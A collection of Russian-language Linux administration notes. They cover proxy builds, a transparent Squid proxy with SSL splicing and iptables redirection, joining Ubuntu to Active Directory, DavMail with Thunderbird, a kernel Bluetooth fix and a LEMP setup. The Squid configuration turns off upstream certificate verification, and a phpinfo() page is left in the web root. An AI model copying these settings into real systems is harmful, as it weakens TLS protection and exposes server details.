wget https://github.com/z3APA3A/3proxy/archive/0.8.10.tar.gz
tar -xvf ./0.8.10.tar.gz 
cd 3proxy-0.8.10/
make -f ./Makefile.Linux 
sudo make -f ./Makefile.Linux install

Получаем доступ с помощью lftp через http-proxy:

lftp -e 'set ftp:proxy http://192.168.77.144:3128; set ftp:use-hftp no; set http:proxy 192.168.77.144:3128; set hftp:proxy 192.168.77.144:3128; set ftp:anon-pass "mozilla@"' ftp://mirror.yandex.ru

Получаем доступ через ftp-proxy:

Delegate

http://www.delegate.org/delegate/Manual.shtml
Описание функций delegate по-русски: https://gist.github.com/andreyvit/4167337

wget http://delegate.hpcc.jp/anonftp/DeleGate/delegate9.9.13.tar.gz
tar -xvf ./delegate9.9.13.tar.gz 
cd  delegate9.9.13
sudo cp ./src/delegated/ /usr/bin/

FTP-proxy с поддержкой SOCKS на python

https://gist.github.com/fmoo/4409975

wget https://gist.githubusercontent.com/fmoo/4409975/raw/abc8cce1785ecab6797890e6179c59db37209efd/ftplib_simple_proxy.py
sudo apt-get install python-pip unzip
sudo pip install --upgrade pip
sudo apt-get install ftplib-dev
wget https://github.com/Anorov/PySocks/archive/master.zip -O PySocks-master.zip
unzip ./PySocks-master.zip 
cd PySocks-master
sudo python setup.py install

transparent_squid_proxy_with_ssl_bumping

anonymous@undisclosed.example.com (Anonymous) — Thu, 19 Nov 2020 20:29:35 +0000

Рабочий вариант Squid transparent proxy с поддержкой SSL без подмены сертификатов

По мотивам https://habr.com/ru/post/267851/
Собираю на Ubuntu 19.04.
Вот пакеты, собранные на Ubuntu 19.04 x64 - squid_4.4_transparent_ssl_ubuntu19.04_x64.tar.gz
Для начала - включаем deb-src репозитории в /etc/apt/sources.list
Ставим запчасти для сборки и исходники squid:

sudo apt-get update
sudo apt-get install git fakeroot build-essential devscripts checkinstall
sudo apt-get build-dep squid
sudo apt-get build-dep libecap
sudo apt-get install libssl-dev libgnutls28-dev

Сборка LibreSSL - не обязательно

Скачиваем, собираем и ставим LibreSSL:

wget http://ftp.openbsd.org/pub/OpenBSD/LibreSSL/libressl-2.9.2.tar.gz
tar -xvf ./libressl-2.9.2.tar.gz 
cd libressl-2.9.2/

./configure 
make
sudo checkinstall --pkgname libressl --pkgversion 2.9.2
sudo dpkg -i ./libressl_2.9.2-1_amd64.deb

sudo ldconfig

sudo mv /usr/bin/openssl /usr/bin/openssl-1
sudo update-alternatives --install /usr/bin/openssl openssl /usr/bin/openssl-1 10
sudo update-alternatives --install /usr/bin/openssl openssl /usr/local/bin/openssl 50
sudo update-alternatives --config openssl

Проверяем, что LibreSSL поставился:

$ openssl version
LibreSSL 2.9.2

Сборка libecap

cd ..
apt-get source libecap

cd libecap-1.0.1/
dpkg-buildpackage -us -uc -nc -d
cd ..
sudo apt-get purge libecap3
sudo dpkg -i ./libecap3_1.0.1-3.2_amd64.deb
sudo dpkg -i ./libecap3-dev_1.0.1-3.2_amd64.deb

Сборка Squid с поддержкой ssl_bump

apt-get source squid  
cd squid-4.4/

внесем в debian/rules следующие опции компиляции:

  --enable-ssl
  --enable-ssl-crtd
  --with-openssl

Отключаем проверку зависимостей:

export DEB_DH_SHLIBDEPS_ARGS_ALL=--dpkg-shlibdeps-params=--ignore-missing-info

Собираем:

dpkg-buildpackage -us -uc -nc

Установка собранного squid

Удаляем старый squid и squid-common:

sudo apt-get -y purge squid squid-common squid3 squidclient

Устанавливаем свежесобранные пакеты:

sudo apt-get install squid-langpack libdbi-perl
sudo dpkg -i ../squid_4.4*.deb ../squidclient*.deb ../squid-common*.deb ../squid3_*_all.deb
sudo dpkg -i ../squid_4.4*.deb ../squidclient*.deb ../squid-common*.deb ../squid3_*_all.deb

Запрещаем обновление из репозиториев:

echo "squid hold" | sudo dpkg --set-selections
echo "squid-common hold" | sudo dpkg --set-selections
echo "squid3 hold" | sudo dpkg --set-selections
echo "squidclient hold" | sudo dpkg --set-selections

Настройка squid

Инициализируем базу сертификатов:

sudo /usr/lib/squid/security_file_certgen -c -s /var/lib/ssl_db -M 4MB

Прописываем в конфигурационный файл squid'а такое:

acl localnet src 192.168.0.0/16         #local Networks
acl pvenet src 192.168.122.0/24         #Proxmox local network
acl dockernet src 172.0.0.0/8           #Docker containers

acl SSL_ports port 443
acl CONNECT method CONNECT

dns_nameservers 127.0.0.53

http_access deny CONNECT !SSL_ports

#http_access allow localhost manager
#http_access deny manager

http_access allow localnet
http_access allow dockernet
http_access allow pvenet
http_access allow localhost
#http_access allow all

#transparent HTTP proxy (option intercept)
http_port 3128 intercept

visible_hostname 127.0.0.1:80

#transparent HTTPS proxy
https_port 3129 intercept ssl-bump options=ALL:NO_SSLv3:NO_SSLv2 connection-auth=off cert=/etc/squid/squid-ca-cert-key.pem

sslproxy_cert_error allow all
sslproxy_flags DONT_VERIFY_PEER

# ssl_bump option splice just tunneling connection
ssl_bump splice all

sslcrtd_program /usr/lib/squid/security_file_certgen -s /var/lib/ssl_db -M 4MB

coredump_dir /var/spool/squid
refresh_pattern ^ftp:           1440    20%     10080
refresh_pattern ^gopher:        1440    0%      1440
refresh_pattern -i (/cgi-bin/|\?) 0     0%      0
refresh_pattern .               0       20%     4320
cache_dir aufs /var/spool/squid 20000 49 256
maximum_object_size 61440 KB
minimum_object_size 3 KB

cache_swap_low 90
cache_swap_high 95
maximum_object_size_in_memory 512 KB
memory_replacement_policy lru
logfile_rotate 4

cache_peer 10.77.70.7 parent 3128 0 no-query default login=login:password
#login=PASSTHRU
#login=username:password
never_direct allow all

перезапускаем squid:

sudo service squid restart

настройка iptables

Перенаправляем все локальные исходящие подключения к портам 80 и 443 на локальный squid, за исключением локальных подключений и подключений к локальным сетям:

sudo iptables -t nat -A PREROUTING -d 10.77.0.0/16 -j RETURN
sudo iptables -t nat -A PREROUTING -d 0.0.0.0/8 -j RETURN
sudo iptables -t nat -A PREROUTING -d 127.0.0.0/8 -j RETURN

sudo iptables -t nat -A PREROUTING -p tcp -m tcp --dport 80 -j REDIRECT --to-ports 3128
sudo iptables -t nat -A PREROUTING -p tcp -m tcp --dport 443 -j REDIRECT --to-ports 3129

Устанавливаем iptables-persistent для автоматического применения правил после рестара:

sudo apt-get install iptables-persistent

на вопрос о сохранении текущих правил отвечаем положительно. Правила лежат в файлике /etc/iptables/rules.v4.
В дальнейшем сохраняем правила так:

sudo iptables-save | sudo tee /etc/iptables/rules.v4

ubuntu-14-04-kde-изменить-разрешение-монитора-screen-resolution

anonymous@undisclosed.example.com (Anonymous) — Mon, 11 Mar 2019 07:18:11 +0000

Устанавливаемый в новых версиях Kubuntu по-умолчанию пакет kscreen работает хорошо, полагаясь на автоматическое определение параметров монитора, но в его настройках мне не удалось найти опции для изменения разрешения экрана. А это бывает нужно при использовании “виртуального” железа.
К счастью, в репозитории есть старый пакет kde-workspace-randr, который нормально сосуществует с новым.

sudo apt-get install kde-workspace-randr

GUI-панель настроек старого пакета появляется там же в System Settings → Display and Monitor.

ubuntu-14-04-в-домене-active-directory-windows

anonymous@undisclosed.example.com (Anonymous) — Mon, 22 Jul 2019 10:16:56 +0000

Итак на моем рабочем компе навернулась Windows 7 и я решил заменить ее на Ubuntu 14.04.

Установил Ubuntu 14.04 Server x64, затем установил KDE desktop:

sudo apt-get update && sudo apt-get install kubuntu-dekstop

Введение в домен AD

Сначала нужно сделать несколько подготовительных вещей.
1. Убедиться что имя локального пользователя Ubuntu не совпадает с именем доменного админа.
2. Прописать DNS и DNS-суффикс в настройках сетевого соединения. В новых версиях Ubuntu эти параметры задаются для сетевых интерфейсов и прописываются в /etc/network/interfaces.

# The primary network interface
auto eth0
iface eth0 inet static
address _IP_ADDRESS_
netmask _NETMASK_
gateway _GW_IP_ADDRESS_
dns-nameservers IP_DNS1_ _IP_DNS2_
dns-domain domain.name
dns-search domain.name

Теперь можно установить необходимое ПО и ввести Ubuntu в домен.
Я использовал Power Broker Open Edition - http://download1.beyondtrust.com/Technical-Support/Downloads/PowerBroker-Identity-Services-Open-Edition/?Pass=True.
Этот пакет - коммерческий аналог likewise-open. Я ставлю бесплатную версию, которая несколько менее функциональна, чем платная - частности она не поддерживает GPO.

Скачал и установил:

wget http://download1.beyondtrust.com/Technical-Support/Downloads/PowerBroker-Identity-Services-Open-Edition/pbiso/850/pbis-open-8.5.0.153.linux.x86_64.deb.sh
chmod a+x pbis-open-8.5.0.153.linux.x86_64.deb.sh
sudo ./pbis-open-8.5.0.153.linux.x86_64.deb.sh

При установке на вопрос о “legacy links” я ответил No.

После установки сразу можно вводить машину в домен AD:

sudo /opt/pbis/bin/domainjoin-cli join --disable ssh domainName ADjoinAccount

Тут domainName - имя домена (должно нормально резолвиться), а ADjoinAccount - имя доменной учетной записи, имеющей права на ввод машины в домен.

Теперь нужно немного отредактировать файлик /etc/pam.d/common-session. Там находим строчку session sufficient pam_lsass.so, комментируем ее и в самый конец файла дописываем:

session [success=ok default=ignore] pam_lsass.so

В конец файла эту строку нужно помещать для того, чтобы нормально отрабатывали опциональные модули, а без success=ok default=ignore пользователя будет пускать в систему, но KDE можно будет запустить только после логина вручную.

После этого можно входить в систему с учетной записью, но по умолчанию KDE не предлагает вводить имя пользователя, а предлагает выбрать пользователя машкой и вводить пароль.
Отключить такое безобразие можно:
“Пуск” → Computer → System Settings → Login Screen (Light GDM).
Там выбираем тему Classic.
Все.
Теперь можно перезагрузиться и логиниться с доменной учетной записью.
ВВодить имя можно как в виде DOMAIN\username, так и в виде Username@domain.local

Все. Дальше можно работать в домене. :) Логиниться с учетной записью вида: DOMAIN\user как локально, так и по SSH.

Некоторые дополнительные настройки

Список настраиваемых параметров PBIS можно получить командой:

/opt/pbis/bin/config --list
[Eventlog]
        AllowDeleteTo
        AllowReadTo
        AllowWriteTo
        MaxDiskUsage
        MaxEventLifespan
        MaxNumEvents
[Lsass]
        DomainSeparator
        SpaceReplacement
        EnableEventlog
        LogInvalidPasswords
        Providers
[Lsass - PAM]
        DisplayMotd
        PAMLogLevel
        UserNotAllowedError
[Lsass - Active Directory provider]
        AssumeDefaultDomain
        CreateHomeDir
        CreateK5Login
        SyncSystemTime
        TrimUserMembership
        LdapSignAndSeal
        LogADNetworkConnectionEvents
        NssEnumerationEnabled
        NssGroupMembersQueryCacheOnly
        NssUserMembershipQueryCacheOnly
        RefreshUserCredentials
        CacheEntryExpiry
        DomainManagerCheckDomainOnlineInterval
        DomainManagerUnknownDomainCacheTimeout
        MachinePasswordLifespan
        MemoryCacheSizeCap
        HomeDirPrefix
        HomeDirTemplate
        RemoteHomeDirTemplate
        HomeDirUmask
        LoginShellTemplate
        SkeletonDirs
        UserDomainPrefix
        DomainManagerIgnoreAllTrusts
        DomainManagerIncludeTrustsList
        DomainManagerExcludeTrustsList
        RequireMembershipOf
        SmartcardEnabled
        SmartcardRequiredForLogin
[Lsass - Local provider]
        Local_AcceptNTLMv1
        Local_HomeDirTemplate
        Local_HomeDirUmask
        Local_LoginShellTemplate
        Local_SkeletonDirs
[User Monitor]
        UserMonitorCheckInterval
[System Initialization]
        LsassAutostart
        EventlogAutostart
        GpagentAutostart

Чтобы не добавлять название домена к имени учетной записи при регистрации достаточно активировать “AssumeDefaultDomain”.

sudo /opt/pbis/bin/config AssumeDefaultDomain true

Проверить текущую установку можно так:

$ sudo /opt/pbis/bin/config --detail AssumeDefaultDomain
$ sudo /opt/pbis/bin/config --show AssumeDefaultDomain

При использовании этой опции в /etc/sudoers и в /etc/passwd - с именем домена (pre-Windows200) в формате DOMAIN_NAME\username с одним слешем. В обоих файлах должно быть одинаково. Если добавлять только в sudoers, то надо добавлять без имени домена.^

Также можно добавить доменного пользователя в файлик /etc/sudoers, для того, чтобы работал sudo.
Открываем /etc/sudoers и добавляем туда:

DOMAIN\\username     ALL=(ALL:ALL) ALL

Тут нужно обратить внимание на двойной слеш в качестве разделителя \\. Без него не работает.
Например, для добавления доменных админов нужно добавить строку:

%DOMAIN\\domain^admins     ALL=(ALL:ALL) ALL

Обращаем внимание на двойной слеш \\ и на ^ вместо пробела.

Еще может понадобиться заменить shell (/bin/sh), устанавливаемый по-умолчанию на /bin/bash.
Чтобы это сделать выполняем:

sudo /opt/pbis/bin/config LoginShellTemplate /bin/bash

Автоматическое монтирование ресурсов - pam.mount

Теперь можно настроить автоматическое монтирование сетевых ресурсов, например папки с профилем пользователя.
Тут возникает небольшое затруднение. Монтировать ресурсы можно только от имени суперпользователя. Поэтому нельзя просто положить в rc.local строку вида mount -t cifs //server /mountpoint.
К счастью есть PAM-модуль pam_mount, который позволяет монтировать ресурсы с повышенными привилегиями на этапе входа пользователя в систему.

Устанавливаем модуль:

sudo apt-get install libpam-mount

Оказалось, что с установками по-умолчанию модуль pam_mount.so не монтирует ресурсы. Для того, чтобы модуль работал корректно, нужно отредактировать файл /etc/pam.d/common-session.
По-умолчанию, модуль pam_mount.so имеет флаг optional и располагается в файле /etc/pam.d/common-session после модуля pam_lsass.so, который имеет флаг sufficient. Таким образом модуль опциональный модуль pam_mount.so игнорируется, при корректном прохождении достаточного для аутентификации модуля pam_lsass.so.

Дальше конфигурируем pam_mount. При входе пользователя обрабатываются два файла - глобальный /etc/security/pam_mount.conf.xml и файл ~/.pam_mount.conf.xml с ресурсами, монтируемыми индивидуально каждому пользователю.
Этот файл довольно неплохо откомментирован, поэтому подробно описывать не имеет смысла и реально нужно редактировать единственную строку:

<volume fstype="cifs" server="servername" path="shared" mountpoint="~/shared" options="nodev,nosuid"/>

Соотвественно отредактировать параметры server, path и mountpoint.
При этом, path не должне начинаться с “/”, а сразу указывать на папку, но при этом может указывать на вложенную папку. То есть если в Windows адрес файла: \\server\shared\directory1\file.txt, то для того чтобы он был виден в смонтированной папке - path должен быть path=“shared\directory1”.

Pam_mount и сессия SSH

Для того, чтобы pam_mount корректно работал в сессии SSH нужно отредактировать конфигурацию сервера SSH - файл /etc/ssh/sshd_config.
Параметру ChallengeResponseAuthentication дать значение no.

Без этой правки, из-за особенностей работы OpenSSH при подключении по SSH ресурсы не монтируются с помощью pam_mount с ошибкой:

conv->conv(...): Conversation error

Некоторые подробности тут:
http://community.centrify.com/t5/DirectControl-Express-for-UNIX/Try-to-auto-mount-cifs-home-dir-on-Ubuntu-using-Centrify-AD-Pam/td-p/8640
https://bugzilla.mindrot.org/show_bug.cgi?id=926#c35
https://bugzilla.mindrot.org/show_bug.cgi?id=688

Также, это неприятное обстоятельство можно обойти выполнив в сессии SSH команду:

su -l $USER

То есть фактически залогинившись в сессии SSH еще раз с именем текущего пользователя.
В этому случае OpenSSH не принимает участия создании сессии и ресурсы монтируются.

ubuntu-14-04-в-домене-ad-аутентификация-пользователеи-firefox- ...

anonymous@undisclosed.example.com (Anonymous) — Mon, 11 Feb 2019 09:13:26 +0000

В нашей компании используется авторизация доменных пользователей AD на корпоративных сайтах.
Я ввел свою рабочую станцию Ubuntu 14.04 в домен и мне захотелось, чтобы Firefox прозрачно авторизовал меня на корпоративных сайтах.
Все оказалось довольно несложно.

Для включения прозрачной авторизации нужно открыть в Firefox на новой вкладке about:config.
Отфильтровать значения по названию: network.negotiate-auth
Тут нас интересуют два параметра: network.negotiate-auth.delegation-uris и network.negotiate-auth.trusted-uris.
Параметру network.negotiate-auth.delegation-uris задаем значение: http://,https://
Параметру network.negotiate-auth.trusted-uris прописываем сайты, на которых будем авторизовываться: localsite1,localsite2

ubuntu-14-04-в-домене-настроика-thunderbird-для-работы-с-ms-exchange

anonymous@undisclosed.example.com (Anonymous) — Mon, 11 Feb 2019 09:13:26 +0000

Получение почты

После ввода в домен обычно возникает потребность получать почту с корпоративного сервера MS Exchange.
Для этого можно использовать связку Thunderbird + Davmail.

Davmail (http://sourceforge.net/projects/davmail/files/)
DavMail это почтовый шлюз между клиентом и сервером MS Exchange. С сервером Microsoft Exchange он взаимодействует через web-интерфейс OWA и создает на локальной машине IMAP и SMTP сервер.
Настройка DavMail сводится к указанию адреса OWA и портов подключения. В почтовом клиенте (например - Thunderbird) в качестве SMTP, IMAP или POP серверов необходимо указать localhost и соответствующий порт.
Итак, скачиваем и устанавливаем. Можно скачать с сайта, а можно поставить из репозитория:

sudo apt-get update && sudo apt-get install davmail

Запускаем, в поле OWA Exchange URL вводим адрес страницы OWA в виде: https://_ms_xechange_address_/OWA_site/
На этом можно закончить настройку Davmail.

Теперь запускаем Thunderbird и создаем Mail Account.
Для сервера входящей почты выбираем:
Type - IMAP,
Server - localhost,
Port - 1143,
SSL - None,
Authentication - normal password.

Для исходящей почты:
Type - SMTP
Server - localhost
Port - 1025
SSL - None
Authentication - normal password.

После этого можно протестировать настройки кнопкой Re-test и нажать Done.

Адресная книга из AD

Дальше можно настроить получение адресной книги из Active Directory.
Для этого в Thunderbird идем в меню: Edit → Preferences → Composition → вкладка Addressing → ставим галочку Directory Server и потом жмем Edit Directories.
Там создаем запись каталога AD кнопкой Add.
Дальше вводим:
Name - Отображаемое имя.
Hostname - localhost (предполагаем что Davmail стоит локально)
Base DN - тут указываем имя домена из которого будем извлекать учетки. Если домен у нас firm.domain.com, то пишем: ou=Users,DC=firm,DC=domain,DC=com
Port number - по умолчанию - 1389 (или указанный в настройках Davmail).
Bind DN - имя учетки DOMAIN\username

Все. Дальше идем на вкладку Offline и проверяем как все работает. Нажимаем кнопку Download, вводим доменный пароль пользователя, указанного в Bind DN и видим, что программа получает список учеток из домена.

Затем закрываем окно редактирования и на вкладке Addressing в списке Directory Server выбираем только что созданный сервер.
Теперь при создании писем будет работать адресная книга.

Всё.

ubuntu-14-04-ввдение-хоста-в-домен-ad-с-помощью-likewise-open

anonymous@undisclosed.example.com (Anonymous) — Mon, 11 Feb 2019 09:13:26 +0000

Из стандартного репозитория Ubuntu 14.04 пакет likewise-open не ставится. Поэтому скачиавем и ставим его руками:

wget http://cz.archive.ubuntu.com/ubuntu/pool/main/l/likewise-open/likewise-open_6.1.0.406-0ubuntu5_amd64.deb
wget http://cz.archive.ubuntu.com/ubuntu/pool/main/libg/libglade2/libglade2-0_2.6.4-1ubuntu1_amd64.deb
sudo dpkg -i likewise-open_6.1.0.406-0ubuntu5_amd64.deb
sudo dpkg -i libglade2-0_2.6.4-1ubuntu1_amd64.deb

Присоединяемся к домену:

sudo domainjoin-cli join domainName ADjoinAccount

domainName имя домена в формате contonso.com ADjoinAccount - админская учетка в домене. Просто логин пользовтаеля без домена.

И перезагружаеся:

sudo reboot

Теперь можно проверить что мы нормально читаем учетки из домена:

getent passwd

В выводе будут все прочитанные учетки.
Чтобы увидеть группы выполняем:

getent group

Дальше проверяем. что в /etc/pam.d/common-session вместо session sufficient pam_lsass.so написано так:

session [success=ok default=ignore] pam_lsass.so

likewise-open все прописывает верно. в отличие от PBIS.

Дальше прописываем префикс домена и чтобы можно было всходить с логином без указания домена:

sudo lwconfig AssumeDefaultDomain true
sudo lwconfig UserDomainPrefix DOMAINNAME

Также может понадобиться изменить путь к хомам юзверей (по-умолчанию он такой: /%H/likewise-open/%D/%U):

sudo lwconfig HomeDirTemplate %H/%D/%U

username     ALL=(ALL:ALL) ALL

Чтобы могли с админискими правами логиниться администраторы домена добавляем имя группы из вывода getent group. Не забываем что слеш \ - экранирующий спецсимвол, поэтому его удваиваем:

%DOMAINNAME\\domain^admins     ALL=(ALL:ALL) ALL

Еще может понадобиться заменить shell (/bin/sh), устанавливаемый по-умолчанию на /bin/bash:

sudo lwconfig LoginShellTemplate /bin/bash

Теперь мы можем логиниться с доменным логином, без указания домена.

ubuntu-14-04-и-atheros-ar3011-bluetooth

anonymous@undisclosed.example.com (Anonymous) — Mon, 11 Feb 2019 09:13:26 +0000

Проблема

В моем ноутбуке установлен Bluetooth адаптер Atheros AR3011, который не стал нормально определяться в Ubuntu 14.04.

Решение

Пляски с бубном и попытки загрузить firmware для модуля bluetooth ath3k результата не давали.
Причина оказалась в баге в ядре, который был исправлен только в середине июля 2014.
Вот описание бага: https://bugzilla.kernel.org/show_bug.cgi?id=73981

В ядре 3.16-rc6 уже все поправлено.
Для нормальной работы bluetooth нужно установить ядро 3.16-rс6 удалить пакет firmware-atheros (если он был установлен), удалить linux-firmware, почистить папку /lib/firmware, установить linux-firmware:

wget http://kernel.ubuntu.com/~kernel-ppa/mainline/v3.17-rc3-utopic/linux-headers-3.17.0-031700rc3-generic_3.17.0-031700rc3.201408312235_amd64.deb
wget http://kernel.ubuntu.com/~kernel-ppa/mainline/v3.17-rc3-utopic/linux-headers-3.17.0-031700rc3_3.17.0-031700rc3.201408312235_all.deb
wget http://kernel.ubuntu.com/~kernel-ppa/mainline/v3.17-rc3-utopic/linux-image-3.17.0-031700rc3-generic_3.17.0-031700rc3.201408312235_amd64.deb
sudo dpkg -i linux-headers-*.deb linux-image-*.deb
sudo apt-get remove firmware-atheros
sudo apt-get remove linux-firmware
sudo rm /lib/firmware/* -Rf
sudo apt-get install linux-firmware
sudo reboot

ubuntu-16-04-в-домене-active-directory-windows

anonymous@undisclosed.example.com (Anonymous) — Mon, 22 Jul 2019 10:17:26 +0000

Введение в домен AD

# The primary network interface
auto eth0
iface eth0 inet static
address _IP_ADDRESS_
netmask _NETMASK_
gateway _GW_IP_ADDRESS_
dns-nameservers IP_DNS1_ _IP_DNS2_
dns-domain domain.name
dns-search domain.name

Теперь можно установить необходимое ПО и ввести Ubuntu в домен.
Я использовал Power Broker Identity Services Open Edition - https://github.com/BeyondTrust/pbis-open/releases.
Этот пакет - коммерческий аналог likewise-open. Я ставлю бесплатную версию, которая несколько менее функциональна, чем платная - частности она не поддерживает GPO.

Скачал и установил:

wget https://github.com/BeyondTrust/pbis-open/releases/download/8.5.2/pbis-open-8.5.2.265.linux.x86.deb.sh
chmod a+x pbis-open-8.5.2.265.linux.x86.deb.sh
sudo ./pbis-open-8.5.2.265.linux.x86.deb.sh

При установке на вопрос о “legacy links” я ответил No.

После установки сразу можно вводить машину в домен AD:

sudo /opt/pbis/bin/domainjoin-cli join --disable ssh  domainName ADjoinAccount

Теперь нужно немного отредактировать файлик /etc/pam.d/common-session. Там находим строчку session sufficient pam_lsass.so или session optional pam_lsass.so, комментируем ее и в самый конец файла дописываем:

session [success=ok default=ignore] pam_lsass.so

в /etc/pam.d/common-auth в самое начало вставляем (в Ubuntu 16.04 Server + PBIS 8.5.2.265 это уже сделано):

auth    [success=2 default=ignore]      pam_lsass.so

в /etc/pam.d/common-account в самое начало вставляем (в Ubuntu 16.04 Server + PBIS 8.5.2.265 это уже сделано):

account [success=ok new_authtok_reqd=ok default=ignore]         pam_lsass.so unknown_ok
account [success=2 new_authtok_reqd=done default=ignore]        pam_lsass.so

в /etc/pam.d/common-password в самое начало вставляем (в Ubuntu 16.04 Server + PBIS 8.5.2.265 это уже сделано):

password        [success=2 default=ignore]      pam_lsass.so

в /etc/pam.d/common-session-noninteractive в конце должно быть так (в Ubuntu 16.04 Server + PBIS 8.5.2.265 это уже сделано):

# and here are more per-package modules (the "Additional" block)
session optional        pam_lsass.so 
session required        pam_unix.so
# end of pam-auth-update config

Настройка экрана входа

Дефолтная тема KDE breeze не позволяет ввести имя пользователя вручную. Поэтому необходимо установить одну из тем, которые дают такую возможность.
Список доступных тем можно получить так:

apt-cache search sddm-theme

Устанавливаем темы:

sudo apt-get install sddm-theme-circles sddm-theme-elarun sddm-theme-lubuntu-chooser sddm-theme-maldives sddm-theme-maui

Дальше идем в меню KDE → Applications → Settings → System Settings → Startup and Shutdown → Login Screen (SDDM) и выбираем одну из тем. Я выбрал Circles

Некоторые дополнительные настройки

Список настраиваемых параметров PBIS можно получить командой:

/opt/pbis/bin/config --list

Меняем дефолтную оболочку на православный bash:

sudo /opt/pbis/bin/config LoginShellTemplate /bin/bash

Включаем автоматичекое дополнение имени домена:

sudo /opt/pbis/bin/config AssumeDefaultDomain true

Даем права в sudo

Добавляем доменного пользователя в файлик /etc/sudoers, для того, чтобы работал sudo.
Открываем /etc/sudoers и добавляем туда:

username     ALL=(ALL:ALL) ALL

Если не используем опцию AssumeDefaultDomain true, то имя указываем в формате DOMAIN_NAME\\username. Тут нужно обратить внимание на двойной слеш в качестве разделителя \\. Без него не работает.

Например, для добавления доменных админов нужно добавить строку:

%DOMAIN\\domain^admins     ALL=(ALL:ALL) ALL

Обращаем внимание на двойной слеш \\ и на ^ вместо пробела.
При добавлении групп важно знать включено ли автоматичекое дополнение имени домена (параметр AssumeDefaultDomain). Если включено, то указывать домен не надо:

%domain^admins     ALL=(ALL:ALL) ALL

Если его указать, то работать не будет.
В любом случае - группы в которые входит пользователь (в том числе доменый) можно посмотреть командой:

groups

Автоматическое монтирование ресурсов - pam.mount

Теперь можно настроить автоматическое монтирование сетевых ресурсов, например папки с профилем пользователя.
Тут возникает небольшое затруднение. Монтировать ресурсы можно только от имени суперпользователя. Поэтому нельзя просто положить в rc.local строку вида mount -t cifs //server /mountpoint.
К счастью есть PAM-модуль pam_mount, который позволяет монтировать ресурсы с повышенными привилегиями на этапе входа пользователя в систему.

Устанавливаем модуль:

sudo apt-get install libpam-mount

<volume fstype="cifs" server="servername" path="shared" mountpoint="~/shared" options="nodev,nosuid"/>

Pam_mount и сессия SSH

conv->conv(...): Conversation error

Также, это неприятное обстоятельство можно обойти выполнив в сессии SSH команду:

su -l $USER

Удаление PBIS - PowerBroker Identity Services Open

Отсоединяемся от домена:

sudo /opt/pbis/bin/domainjoin-cli leave

Удаляем PBIS:

sudo /opt/pbis/bin/uninstall.sh uninstall

ubuntu-nginx-joomla-lemp

anonymous@undisclosed.example.com (Anonymous) — Mon, 11 Feb 2019 09:13:26 +0000

Стандартный web-сервер в Ubuntu и Debian - это стек программ LAMP - Linux, Apache, MySQL и PHP. Один из недостатков этой платформы - высокие требования к ресурсам, а в частности - большое потребление оперативной памяти.
Решить эту проблему можно заменив Apache на быстрый и маленький nginx. В результате получится LEMP - Linux, nginx (Engine X), MySQL и PHP.

Приступим к установке:
Обновляем кеш пакетов:

sudo apt-get update
sudo apt-get install dialog bsdutils

Устанавливаем MySQL:

sudo apt-get install mysql-server libapache2-mod-auth-mysql php5-mysql

При установке MySQL попросит ввести пароль пользователя root (хотя его можно задать и позднее). После установки инициализируем MySQL:

sudo mysql_install_db

И затем завершим установку выполнив скрипт:

sudo /usr/bin/mysql_secure_installation

Скрипт запросит текущий пароль пользователя MySQL root.
Затем предложит его изменить и задаст несколько вопросов:

Remove anonymous users? [Y/n] y                                            
 ... Success!

Normally, root should only be allowed to connect from 'localhost'.  This
ensures that someone cannot guess at the root password from the network.

Disallow root login remotely? [Y/n] y
... Success!

By default, MySQL comes with a database named 'test' that anyone can
access.  This is also intended only for testing, and should be removed
before moving into a production environment.

Remove test database and access to it? [Y/n] y
 - Dropping test database...
 ... Success!
 - Removing privileges on test database...
 ... Success!

Reloading the privilege tables will ensure that all changes made so far
will take effect immediately.

Reload privilege tables now? [Y/n] y
 ... Success!

Cleaning up...

Устанавливаем nginx:

sudo apt-get install nginx

И запускаем его:

sudo service nginx start

Устанавливаем PHP:

sudo apt-get install php5-fpm

Конфигурируем php. Для этого редактируем php.ini:

 sudo nano /etc/php5/fpm/php.ini

Находим cgi.fix_pathinfo=1, и меняем 1 на 0:

cgi.fix_pathinfo=0

Это нужно для повышения безопасности.

Затем нужно отредактировать файл /etc/php5/fpm/pool.d/www.conf:

 sudo nano /etc/php5/fpm/pool.d/www.conf

В нем находим строку listen = 127.0.0.1:9000, и меняем 127.0.0.1:9000 на /var/run/php5-fpm.sock.

listen = /var/run/php5-fpm.sock

Затем перезапускам php-fpm:

sudo service php5-fpm restart

Теперь надо сконфигурировать nginx. Открываем файл с сайтом-по-умолчанию:

sudo nano /etc/nginx/sites-available/default

Приводим его к такому виду:

server {
       listen 80;
       server_name www.example.com example.com;
       root /var/www/;

       if ($http_host != "www.example.com") {
                 rewrite ^ http://www.example.com$request_uri permanent;
       }

       index index.php index.html index.htm default.html default.htm;

       location = /favicon.ico {
                log_not_found off;
                access_log off;
       }

       location = /robots.txt {
                allow all;
                log_not_found off;
                access_log off;
       }

       # deny running scripts inside writable directories
       location ~* /(images|cache|media|logs|tmp)/.*\.(php|pl|py|jsp|asp|sh|cgi)$ {
                return 403;
                error_page 403 /403_error.html;
       }

       # Deny all attempts to access hidden files such as .htaccess, .htpasswd, .DS_Store (Mac).
       location ~ /\. {
                deny all;
                access_log off;
                log_not_found off;
       }

        
 # pass the PHP scripts to FastCGI server listening on 127.0.0.1:9000
        location ~ \.php$ {
                try_files $uri =404;
                fastcgi_pass unix:/var/run/php5-fpm.sock;
                fastcgi_index index.php;
                fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
                include fastcgi_params;

        }

}

Также можно добавить (но можно и не добавлять) директивы:

       location / {
                try_files $uri $uri/ /index.php?q=$uri&$args;
       }

       # caching of files
       location ~* \.(ico|pdf|flv)$ {
                expires 1y;
       }

       location ~* \.(js|css|png|jpg|jpeg|gif|swf|xml|txt)$ {
                expires 14d;
       }

Проверяем работоспособность. Кладем в папку сайта проверочный файл /var/www/info.php такого содержания:

<?php
phpinfo();
?>

Перезапускаем nginx и смотрим что получилось.

sudo service nginx restart

При заходе на http://_IP_address/info.php мы должны увидеть информацию о текущей версии PHP.

Все. Теперь можно устанавливать joomla и радоваться!

ubuntu-release-upgrade

anonymous@undisclosed.example.com (Anonymous) — Mon, 11 Feb 2019 09:13:26 +0000

Чтобы обновить Ubuntu на новый релиз нужно выполнить:

sudo apt-get install update-manager-core
sudo do-release-upgrade

Проверено при апгрейде с Ubuntu 12.04 до Ubuntu 14.04 и дальше до Ubuntu 16.04 Если система говорит что-то типа:

=== Command terminated with exit status 1 (Tue Jan 17 05:05:27 2017) ===

То просто нажимаем любую кнопку, а потом r

ubuntu

anonymous@undisclosed.example.com (Anonymous) — Mon, 11 Feb 2019 09:13:26 +0000

Проблема:

